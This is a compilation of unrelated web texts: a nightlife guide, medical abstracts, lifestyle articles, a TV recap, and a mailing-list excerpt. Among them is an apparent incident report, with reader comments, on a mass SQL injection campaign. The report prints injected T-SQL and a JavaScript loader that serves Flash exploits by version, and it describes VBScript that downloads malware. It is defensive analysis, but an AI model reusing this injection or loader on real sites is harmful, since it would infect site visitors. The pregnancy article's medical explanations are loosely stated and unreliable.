Central located, this night club gathers "older" guests in a softer atmosphere than in other places.
Just beside the Colbert hotel.
This is a popular nightlife spot, although it gets going late, so do not come before midnight. It was previously called Latina Café. This is very popular with expatriates dancing at the rhythms of African and French hits. Men should come accompanied by a female friend to avoid being harassed by prostitutes. Watch yourself when leaving the place late at night, because the beggars line up and surround you in a pack hoping that the drunk foreigners will be generous.
Jazz Club
(Located inside the hotel with the same name: B.P 265 Ankerana)
It is only opened Fridays nights, this is the place to discover young local musicians while eating or drinking something in a selected ambient.
Urban Lounge
Phone: + (261) 20 22 67 785
Web: http://kudeta.mg/
This huge club lies next to the
La Plage
The most popular club in Tana. It fills with teenagers and gets completely packed in the weekends. The club includes two stories with a terrace and pool, though bathing is not permitted. There are two main dance floors and a smaller, more private one. The DJs tend to play both American and French club music. Live bands often perform here.
Le Bus
Phone: + (261) 20 22 691 00
Email: email@example.com
Web: http://lebus.blogparty.fr/
The tecno elite club par excellence. Colourful thematic evenings and impactful décor make it the place to be for the crème de la crème of the Malagasy high society. Opened from Thursdays to Saturdays. It uses to be full late at night when all other clubs are closed.
La Haute
A grand house on a hill in the middle of nowhere where rock and blues is played (sometimes also live). Malagasy woven and wood art share the walls with posters of B.B. King and Jimmy Hendrix. Often crowded, mostly male young customers.
Rue Ingereza
This mythical disco is a beloved place to those who are looking for something more than music on a hot night… Watch out!


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XLRI Students Win at Global Competition
Students of XLRI - Xavier School of Management, Jagruti Vojjala and Anunay Arora have won the International INF Challenge organized by Global Innovation Company – 3M. The global competition was held at 3M Headquarters in St. Paul, Minnesota, the USA in July 2016.
The XLRI Student team was adjudged winner among competing for B-School students from 13 other countries including Canada, Mexico, Brazil, China, Japan, Panama, Poland, Turkey, Saudi Arabia, Singapore, South Korea, United Arab Emirates and the United States of America.
The winners Jagruti and Anunay have been offered six-month mentorship with a 3M senior leader and mentorship opportunity besides a vast international exposure. Both winners have also received a pre-placement offer from 3M India.
Reacting to her victory, Jagruti Vojjala, a second-year business management student at XLRI-Jamshedpur said, "It's been a long journey and I have thoroughly enjoyed each part of it. This is a platform where my ideas were appreciated and that felt even better than winning."
The XLRI team represented India at the global competition after winning the National Case Competition - Invent a New Future Challenge (INF) 2016 organized by 3M India. The competition sought to recognize extraordinary thinking of B-school students saw participation through video entries from top business schools in India such as IIFT, IIM Lucknow, IIM Kozhikode, SPJIMR, NMIMS, NITIE, XLRI among others.
Fr. E. Abraham S.J., Director, XLRI commented, "This win is the result of our students' sincere effort and their passion for excellence. I am extremely happy for our student team and congratulate them for this achievement".


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DOI: https://doi.org/10.22141/2308-2097.51.4.2017.119288
Structural transformation of the pancreatic duct system in patients with chronic pancreatitis
Background. Chronic pancreatitis (CP) is characterized by a number of specific changes in the structure and function of the pancreas, including atrophy of functional tissue, fibrosis and ductal degeneration, a decrease in the number of islets. Despite a large number of possible etiological factors, the main pathophysiological mechanisms of CP development have much in common. Thus, with the preservation of secretory activity under obstruction of the ducts and their compensatory expansion, pancreatic secret infiltrates the surrounding tissue with the formation of edema, followed by intrapancreatic activation of digestive enzymes, in particular trypsinogen, which initiates proteolytic necrobiosis of the pancreocytes. The duct cells make up to 30 % of the human pancreas, compared to 1–2 % of endocrine cells. One of the first signs of CP is the abnormal increase in the number of ductal branches. It has also been shown that in the ducts of CP patients, the number of cells containing insulin increases, as well as cells that contain other endocrine and exocrine markers. Modeling chronic, acute and complicated pancreatitis in rats also confirmed that epithelial cells are involved in the regulation of extracellular matrix of the pancreas. Materials and methods. Comprehensive histopathological and immunohistochemical (IHC) study was performed in the laboratory of histological and immunohistochemical diagnosis of the university hospital of Zaporizhia State Medical University on postoperative
material of 40 patients with CP aged 28 to 74 years, who were operated at the clinic of surgery and minimally invasive technologies of Zaporizhia State Medical University. Immunohistochemical examination was carried out according to standard procedures using a mouse monoclonal antibody Alpha Smooth Muscle Actin (Clone 1A4) against the a-isoform of smooth muscle actin (a-SMA) and Desmin (Clone D33) against desmin (DAKO, USA), monoclonal rabbit antibody against collagen I (Clone RAH C11) anti-collagen type 1 (Imtek, RF) and rabbit polyclonal antibodies against fibronectin (DAKO, USA). Quantitative determination of the intensity and the relative area of the markers' stromal expression was reproduced using the program for medical digital image processing ImageJ v.1.48, embedded plugin Colour Deconvolution analysis circuit and coloring H DAB (hematoxylin + DAB) for determining the area occupied by immunopositive structure in immunohistochemical preparations and optical (densitometric) intensity of immunostaining by patented procedure. Results. Pathohistological study of biopsies with a specific staining of collagen (by Van Gieson and Masson's trichrome) showed that fibrotic changes in all the patients with CP were characterized by a combination of pronounced perilobular fibrosis, which covered all lobules, widespread intralobular fibrosis, and significant periductal fibrosis near large, sharply defined narrowed and cystically dilated ducts. There was also a pronounced expansion of interlobular fibrosis, a noticeable thickening of intralobular connective tissue strands directed deep into the lobules and connective tissue strands that surrounded some acini, as well as a significant tortuosity and widening of the ducts with retention cysts. In most cases, the deformation of the ductal system was one of the most significant structural changes. Thus, 87.5 % of cases were characterized by the unevenly narrowed and cystic-altered interlobular ducts, pronounced concentric fibrosis, protein plugs and concrements observed in the ducts. In 7.5 % of the cases, in the main pancreatic duct, foci of the epithelium atrophy were present, which alternated with foci of papillary intraepithelial hyperplasia, identified as pancreatic intraepithelial neoplasia. The parenchyma of the pancreas was thus constituted small, atrophic acini, surrounded by dense fibrous strands, with an increased number of gaping ducts of different diameters. Also, in 17.5 % of cases, phenomena of acinar-ductal metaplasia were observed. In the centers of the acinar-ductal metaplasia zones, the transformation of some acinar cells into ductal cells was determined with the formation of small duct-like structures, the so-called tubular complexes, which, according to the literature, are the primary focus of acinar tissue regeneration. In particular, a large number of activated a-SMA + pancreatic stellate cells (PSC) is detected in the zones of fibrosis. The pattern of expression of this marker is characterized by pronounced a-SMA-immunopositive staining of both PSC and their processes, and, in part, of the fibrillar component. Primary statistical processing of morphometry data revealed a direct relationship between the expression of a-SMA and the area of collagen I type, but this relationship was not significant (r = +0.321, p > 0.05). In order to further objectify the statistical studies, we isolated a group of cases characterized by low a-SMA expression (n = 9). A further study using medical statistics methods showed that the average area of type I collagen and the intensity of its expression in this group was significantly lower than in the other biopsy specimens (p < 0.05). In contrast, desmin expression was identified both in connective tissue, which was characterized by a lower intensity of immunostaining, in acinar tissue and in the epithelium of the pancreatic ducts. The pattern of its expression in fibrosis zones in CP was similar to that of a-SMA, but in 27.5 % of cases, the intensity of staining was below the threshold for determination by morphometric methods. We isolated a group of cases characterized by high expression of fibronectin (n = 9). A further study using medical statistics showed that the average area of type I collagen and the intensity of its expression in this group was significantly higher than in the other biopsy specimens (p < 0.05). Thus, IHC study of the material obtained from patients with CP showed that a large number of activated PSC expressing a-SMA and desmin are concentrated in the pancreatic ductal zones. Also, in these zones, a significant accumulation of fibronectin was found, which is synthesized in excess by activated PSC. The pattern of IHC staining of type I collagen in the zones of severe pancreatic fibrosis is characterized by a weak and moderate intensity with a average level of its expression. Conclusions. A characteristic morphological picture of the CP development is a combination of fibrosis with deformation of the ductal system due to periductal fibrosis with the expansion of interlobular fibrosis, thickening of intralobular connective tissue strands, as well as considerable tortuosity and widening of the ducts with retention cysts. Significant structural reorganization of the pancreatic duct system in patients with CP was observed in 87.5 % of cases, in 17.5 % of cases, the picture was supplemented by phenomena of acinar-ductal metaplasia with the transformation of acinar cells into ductal cells and the formation of small duct-like structures, the so-called tubular complexes. In 7.5 % of cases, in the main pancreatic duct, foci of atrophy of the epithelium were identified, which alternated with foci of papillary intraepithelial epithelial hyperplasia (PanIN). The development of pancreatic fibrosis in CP is facilitated by the accumulation of a-SMA+ activated pancreatic stellate cells synthesizing an excess of components of the extra-cellular matrix, in particular type I collagen. The mean area of type I collagen and the intensity of its expression were significantly lower with reduced a-SMA expression (p < 0.05), and significantly higher in cases of pronounced fibronectin expression (p < 0.05).
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Fayetteville, AR, USA
As Northwest Arkansas's only year-round professional theatre, TheatreSquared is a vital cultural resource for the region. The audience for their 230 annual performances includes more than 18,000 students and their teachers. We're proud to be helping them establish their first permanent home.
An exterior render of 50,000-square-foot new home for TheatreSquared.
Recognised by the American Theatre Wing as one of the United States' ten most promising emerging theatres, TheatreSquared reaches 40,000 patrons a year. Now, with support from the Walton Family Foundation's Design Excellence program, the company are to establish their first permanent home.
TheatreSquared travelled with Charcoalblue and Marvel Architects to more than 20 theatres in the U.S and the U.K. After dozens of meetings and a consultation period with the local community of Northwest Arkansas, a final concept was created. The 50,000-square-foot building brings together two technologically-advanced theatres, dedicated rehearsal spaces, administration facilities, community spaces and workshops for set and costume design. In addition, there will be accommodation for visiting artists and a series of outdoor terraces. The building will lend itself to performance both on stage and around the building.
"We are so excited to be creating a new home for the company which is born out of the local fabric and will set a new standard for purpose-built professional theatres at this scale."
Clemeth Abercrombie, Chicago Studio Principal
An interior render of the forthcoming auditorium.
TheatreSquared travelled with Charcoalblue and Marvel Architects to more than 20 theatres in the U.S and the U.K. for research.
The building will lend itself to performance both on stage and around the building.
We listened intently to the aspirations of the TheatreSquared team and the public and have led the design team as Lead Consultants. Together with Marvel Architects, we have drawn up plans for performance spaces that marry perfect acoustics, flawless sightlines and all the integrated production facilities needed to ensure the theatre remains a cutting-edge space for generations to come, complete with custom seating and a reconfigured layout.
Watch: Take an aerial tour of the site.
Watch: Explore the chair design with designer Ben
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Bad Girls Club 905 Recap: Pretty Girl Bounced
Hola amigas! Que pasa? I wish I could say it was going well for the lovely ladies of the Bad Girls Club, but unfortunately it is very malo.
The episode opens up with the fight from last week where Rima and Erika are going at it because formerly fun Erika went cuckoo and attacked Rima's parenting skills. Ouch! Julie and Mehgan cheer as they watch while Ashley, the only one with a conscience, cries. Finally a producer pulls them apart and tells Erika she has to go home because one of her punches was particularly violent. Well, they all looked violent to me what do I know? I am just a former spelling bee champion not a Bad Girl. Erika keeps crying that it's not fair, but I'm happy she's gone.
Now that their numbers have dwindled, Falen is ready to defect to Rima's side since she's bored with being a bully. Congratulations, I guess? She apologizes to Rima for her behavior and I'll give her a little credit for being the bigger person.
With Erika fresh out the door, it's time for a new girl whose picture magically appears in the house. Mehgan thinks she's ugly, of course. Her name is Andrea, pronounced On-drea, Beverly Hills, 90210-style. She's fun and bubbly and cool, so naturally Julie, Mehgan, and Falen hate her.
Fortunately, everyone else likes Andrea, so it's a happy time, for now. Mehgan's a bit jealous, however, because Andrea had a 10 page spread in King magazine and SHE wants a spread in King magazine! Oh well.
Ashley, with her newfound cojones, asks them why they are being so mean to Andrea. Bishes don't have a satisfactory answer.
However, not all is lost but the girls find out they are going to Carnaval in La Paz. Arriba! They get to stay in a cool house and everything! That night everyone goes out. When they return to the house, Andrea and Ashley stay up and hang out and giggle. This is not okay with Christina, who had fallen asleep alone. She goes bananas on Ashley, calling her all sorts of names including a fat troll. Harsh! Ashley takes it for a while until she finally snaps. Rima tries to break up the ensuing fight. Ashley is truly rattled, and now everyone kind of can't stand Jersey. When the crazy dust has settled, Christina realizes she was wrong and apologizes to Ashley. They hug it out, but everyone is still wary.
Luckily, it's time for everyone to go snorkeling on a boat! Everyone, shockingly, is getting along. And then the girls all go on a float to celebrate Carnaval. No punches even!
Finally, it's time to return to Cabo. Mehgan and Julie drive back with Falen, who they're worried is becoming too close to Rima. But Falen's all, whatevs, I'm my own person.
Back at the house, Mehgan continues her role as mean girl when she tries to bond with Ashley. She's all, you told me used to be skinny, what happened? Oh Mehgan, so tactful. Ashley confesses that she was in an abusive relationship where her boyfriend basically forced her to not eat, leading to her becoming anorexic. Even Julie is touched by this story.
Christina, meanwhile, calls her ex-boyfriend and tells him about her fight with Ashley. She admits she has to work on her temper. Rima apparently agrees, because she talks with Falen about how she wants Jersey out of the house. Home girl is too dangerous!
So what do you think? Will Christina be next Bad Girl shoved out the door???
Till next week—
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1Zaghloul W, 2Abdel-Khabir A and 2El-Sohafy M
Departments of 1Microbiology & Immunology and 2Dermatology & Andrology, Faculty of Medicine, Mansoura University, Mansoura, Egypt.
Forty two patients with atopic dermatitis (AD) and twenty age and sex matched healthy subjects were included in the present study. Swabs from lesional skin and anterior nares were taken and cultured for identification of bacteriological growth. S. aureus strains isolated from both skin and nose were investigated for superantigen production (Enterotoxins A-D) by reverse passive latex agglutination (RPLA) test. Results of bacteriological culture revealed that the incidence of S. aureus colonization in patients skin (71.4%) was significantly higher than in control group (30%) and the colonization was more significant in patients with wet lesions than those with dry lesions. There was no significant difference in the nasal carrier between patients (45.2%) and control group (40%). As regards the superantigen production, 53.3% of S. aureus strains (38.1% of the total cases) were found to secrete enterotoxins, mainly Staphylococcal enterotoxin B and C (SEB and SEC) while in the control group only 33.3% of isolated S aureus strains (10% of the total group) were enterotoxins producers. Treatment of 16 cases with topical steroids alone for one week resulted in reduction of S. aureus colonization by 62.5% and enterotoxins production by 60%. In conclusion, skin lesions of AD are frequently colonized with superantigens producing strains of S. aureus. These superantigens could act as a trigger or exacerbating factor in the pathogenesis of atopic dermatitis. Topical steroid therapy, significantly reduced colonization of superantigens producing S. aureus in skin lesions of atopic dermatitis and induced clinical improvement.


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Scott one of our readers wrote in to let us know that attempts were being made on his servers through an SQL injection. He was the first and assisted with analysis, but he was not the last. Since the first report we have received several in the last 4 hours or so. There seems to be a lot of activity with this particular attack.
It looks like a repeat/variant on the attacks mentioned by Bojan here.
The Injection:
Which breaks down into:
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR
Various types of sites seem to be hit at the moment. From the reports we've had it is not specific to asp, cfm, php, but we don't have a lot of information on this just yet.
A user visiting the site will hit w.js which, if they are using english, will pull down new.htm. new.htm reports to a stats site and has a number of iframes that grab the next set of htm pages, flash.htm, 06014.htm, yahoo.htm, office.htm and ksx.htm. Flash.htm checks to see if you are using IE or FF and selects either i1.html or f2.html
i1.html & f2.html
These file contains some java script:
<script type="text/javascript" src="swfobject.js"></script>
This expands out to:
var version=deconcept.SWFObjectUtil.getPlayerVersion();if(version['major']==9){document.getElementById('flashversion').innerHTML="";if(version['rev']==115){var so=new SWFObject("./f115.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==64){var so=new SWFObject("./f64.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==47){var so=new SWFObject("./f47.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==45){var so=new SWFObject("./f45.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==28){var so=new SWFObject("./f28.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']==16){var so=new SWFObject("./f16.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent")}else if(version['rev']>=124){if(document.getElementById){document.getElementById('flashversion').innerHTML=""}}}; document.write("")
So depending on the flash version running and browser a different file is tried (the IE version uses i64, etc). Detection for these is poor. The IE versions 9/36 at VT detect the file as malicious and for FF 10/36 detect the file as being malicious.
The yahoo.htm file executes a vbscript to download rondll32.exe and saves it as msyahoo.exe after which it attempts to execute.
Attempts to create activeX objects and pulls the same rondll32.exe. It looks like rondll32.exe pulls down thunder.exe and wsv.exe
Attempts get the browser to include the rondll32.exe file
Detection for rondll32.exe is good with most AV products catching this one.
was unavailable at the time I checked.
These attacks are happening right now. The people that reported them identified the attacks in their log files and IDS systems. It is good to see that people are checking their logs. Currently about 4000 sites are infected, but mostly with the older version of w.js and a different go-to site. This round looks like it has just started. We'll keep an eye on how this develops.
Mark - Shearwater
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I'm seeing a lot of this one in my logs. They're not getting anywhere but they are proving to be a source of annoyance by triggering automated error tracking.
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A related story that Yahoo was hacked by this injection.
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I had about 200 separate IP make attempts made on my server over the last 48 hours. One thing I noted was IPs are only used twice, perhaps trying to get under some thresholds.
As someone fairly new to server management and not a coder what I would appreciate seeing here at ISC is real ways to block attacks like this. After much searching I found an example http://www.0x000000.com/?i=567 of a .htaccess file that, on my server at least, stopped the attacks. No doubt there are better ways, and maybe one has been discussed here. If that's the case a link to it in each story about this would be useful.
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Ive had many of these attacks on my site over the past 2 days, they seem to change IP, OS and browser for each new attack.
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I had a remote user call regarding this issue. They apparently received the Anti-Virus warning when clicking on a story in Yahoo.com. The software Firewall alerted us that this trojan is attempting to run wab.exe.
Since we do not use Outlook or Outlook express on our units, the software firewall is set not to allow that program to access the internet. (This stops most users from setting up their own e-mail and some of the admins wonder why I do this.) I'm not seeing anything coming accross our network at this time but I'm sure come tomorrow morning, I'm going to be popping some Alka-Seltzer by noon.
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Broke hood? Decide this problem
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Muscle Pain During Pregnancy | How To Get Relief
Muscle Pain During Pregnancy
There is a variety of discomfort experienced during pregnancy by mothers to be. One of those discomforts is Muscle pain. Number of muscle pain during pregnancy occurs in calves.
It is basically an involuntary contraction of a muscle that happens abruptly mostly at night. Dehydration or compression of the nerve or in fact lack of minerals or lack of stretching leads to muscle pain in pregnancy.
Pregnancy Aches And Pains First Trimester
Following are some pregnancy aches and pains first trimester-
- Morning Sickness– there is nothing severe about morning sickness but sometimes it leads to hyperemesis gravida which needs doctor's consultation. Morning sickness mostly affects 70% of expected mothers.
- Sore Breasts– due to pregnancy hormones, breasts start growing and at first, breasts may feel sore or heavy but later on the skin and nipples become very sensitive. Wearing undergarments become problematic in pregnancy because every single thing hurts the sensitive skin.
- Cramps– cramps in the stomach are very common in pregnancy. Reason being the enlargement of the uterus exerts pressure on nerves.
- Less Immunity– during pregnancy women with weak immune system suffers the most. Indigestion takes place very frequently. A little care regarding intake of food should be considered first.
- Due to the bad digestive system occurs constipation. It sometimes leads to the problem of piles. All you have to take care of is your food intake, your diet.
- Pregnancy hormones sometimes block the nose by swelling up the nasal and oral passages. To prevent this problem, steam inhalation is the best solution.
- A headache is very common in pregnancy. Due to stress and physical weakness women experience a headache a lot. Some women experience migraines too. When the blood pumped around your body increases, the extra blood can put pressure on the brain which leads to a headache.
- General Aches And Pain are common in early pregnancy. Women feel completely exhausted or may find a problem with sleeping. Due to less sleep and other complications, general aches and pains are experienced by every mother to be.
Abdominal Muscle Pain During Pregnancy
Stomach pain in the third trimester includes gas, false labor, or constipation. They cause abdominal discomfort but they should not cause pain in excessive amount.
Abdominal muscle pain during pregnancy when becomes severe leads to high blood pressure or even placental abruption which means that a placenta gets separated from the uterus too early.
Abdominal muscle pain in pregnancy occurs due to urinary tract infection or preeclampsia. If vaginal bleeding, fever, chills, dizziness, nausea or vomiting is experienced then calling a doctor is the best decision.
Timely checkup and treatment can save the uterus and health of the mother to be.
Causes of abdominal pain are categorized as round ligament pain, gas & constipation and common discomforts.
- Round Ligament Pain– a sharp stabbing pain is felt when you change positions or achy, lingering pain is also experienced. As the uterus grows, the ligaments are stretched and create discomfort.
- Gas and Constipation: when the level of progesterone increases it cases gas and constipation. As the hormone is released, gastrointestinal tract slows down and it makes the food travel more slowly.
- Common Discomforts: There is a variety of common abdominal discomforts which are experienced during pregnancy and generally non-threatening. The enlarging uterus, stomach viruses, kidney stones, and food sensitivities are all forms of harmless abdominal pain.
Arm Muscle Pain During Pregnancy
As the time of pregnancy passes by, it may become difficult to find a comfortable position to sleep during the night. Turning and tossing will lead to arm pain.
Sleeping in awkward positions will also lead to arm pain. Arm muscle pain during pregnancy is caused by no single specific reason.
Weakness in the body due to hormonal changes leads to arm muscle pain. And also lifting up heavy things may also end up with pain in arm muscles.
Cramps during pregnancy is not a big deal but yes if the pain becomes intolerable or sever then doctor's consultation is required.
Muscle Pain Relief During Pregnancy
Muscle cramps occur due to lack of nutrition. There can be other reasons too for muscle pain that can affect any part of the body. Now let's talk about 'muscle pain relief during pregnancy':
- Drinking water throughout the day will make you relieve from pain. Drink water before going to bed.
- Do exercise as much as possible. It is important to stretch your muscles before going to bed.
- The night time is considered to be the bad time for pregnant women because they get cramps and intense pain. Some calcium tablets are not bad for pregnant women's health mainly for muscle pain.
- Take enough rest, don't let your body get exhausted.
- Raw avocadoes, baked potatoes, skimmed milk, and bananas increase the level of potassium in the body.
- Tender coconut water works the best in reducing the muscle pain during pregnancy.


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Ontario MNR
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One of them John White was the first to notice the high quality clay of Beaverton, and by 1839 it boasted a brickyard, a well as pottery and tile establishments.
A sawmill and gristmill were built by the Beaver River.
The "Old Stone Jail" is it's oldest building.
Today it's part of the museum at Centennial park.
Over the years the Harbour has hosted fishing derbies, log rolling contests picnics and dances.


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Vegetables are Mother Nature's very own nutritional miracles. Packed with vitamins, minerals, antioxidants, fiber and water, the humble veggie is not only good to eat but essential for your health and wellbeing. And if you are trying to lose weight, veggies will help you get there faster as they are filling without being energy dense. With the exception of starchy vegetables like potatoes, you can eat almost unlimited amounts of vegetables without worrying about your waistline expanding as a result.
However, for many people, eating veggies is something that doesn't come naturally and many people's vegetable consumption is limited to a leaf or two of wilted lettuce in a burger or the onion on a pizza.
You KNOW you should be eating more vegetables so in this article you'll learn how get more vegetables into your diet.
Think vegetables first
Whenever you are planning a meal, think about veggies first. Select two or three different ones and then consider what you can add in to make that meal more rounded – grilled chicken and brown rice for example. Try and make sure that your plate is at least half-covered in vegetables. By prioritizing vegetables you are much less likely to forget about them.
Snack on raw veggies
Raw veggies make a great, filling and healthy snack. Carrot sticks, cucumber, sliced tomatoes – a great many vegetables can be eaten raw. If plain, raw veggies strike you as a little bland, slightly sprinkle with some sea salt or use with a low calorie dip. If you are a "TV snacker", eating raw veggies will help you avoid eating candy and other high calorie foods that may be undoing your weight loss efforts.
Make super soups
Soups are a brilliant way to get more vegetables into your diet. Select three to five different vegetables, cook them until tender in vegetable stock and then liquidize using a stick-type blender. Serve with wholegrain bread or crackers and you have a super healthy meal in minutes.
Have a vegetable-only meal once a week
Even if you are a staunch omnivore, there is nothing wrong with having a once or twice a week vegetable only meal. Seek out vegetarian recipes and embrace veggies like a long lost friend. Yes, you may miss out on a little protein but, in the grand scheme of things, those extra vegetables will more than make up for skipping the meat for a meal or two. Vegetable-only meals also tend to be light and easily digested making them ideal of you have been eating too much rich or heavy food lately and feel like your digestive system could do with a rest.
Seek out new veggies to try
Many of us eat fairly routine diets and do not try new things very often. If your idea of "lots of vegetables" means peas, carrots and potatoes, maybe it's time you try to broaden your tastes and try something new? There is a veritable A to Z of vegetables so next time you head into the supermarket, take a moment to explore the vegetable department and purposely try something new. Who knows, there might be a new favorite vegetable waiting for you to try!
Sub in the veggies
Most people eat veggies as an accompaniment but you can get more vegetables into your diet by substituting vegetables for some other common non-veggie foods…
- Instead of pasta in lasagna, use thinly sliced zucchini instead. Not only does this slash the carb and calorie content, you'll end up eating several servings of this venerable vegetable.
- Replace wheat tortillas with lettuce leaves the next time you make a lunchtime wrap. This is another great calorie and carb saver.
- Shredded and lightly sautéed cabbage makes for a great spaghetti substitute that is all but calorie-free. You can also use thinly ribboned zucchini and even spaghetti squash too.
- Instead of rice, grate and then lightly boil cauliflower florets. Low in carbs and calories but high in nutrients, this is an excellent rice substitute especially for those who are trying to cut back on grains.
- Next time you are having hamburgers, substitute the bun for two lightly grilled, large portabella mushrooms.
- Add baby spinach to smoothies. Spinach is high in iron (just ask Popeye) and tastes great mixed with fruits like bananas and berries.
If you care about your health and your weight, vegetables really should be the cornerstone of your diet. Sadly, though, in this age of food convenience, they are often shunned in favor of refined carbs such as white bread, white rice and white pasta. Focusing more on vegetables will make weight loss easier and improve virtually every aspect of your health so make today the day you start to "veg out"!


text: David Jones writes: > On October 31, 2006 05:31 am, Andrew Haley wrote: > > > Well, look at this from a user's point of view. All that the Java > > code does is allocate a very large array of ints. That's a perfectly > > proper thing to do, if somewhat unusual. > > This is GCJ? Yes. > And the collector is issuing the message because it fears that it cannot avoid > using addresses that it would rather blacklist? > > Does GCJ use typed allocation? Yes. > Is there any need for a conservative estimate? We scan the stack conservatively. Andrew.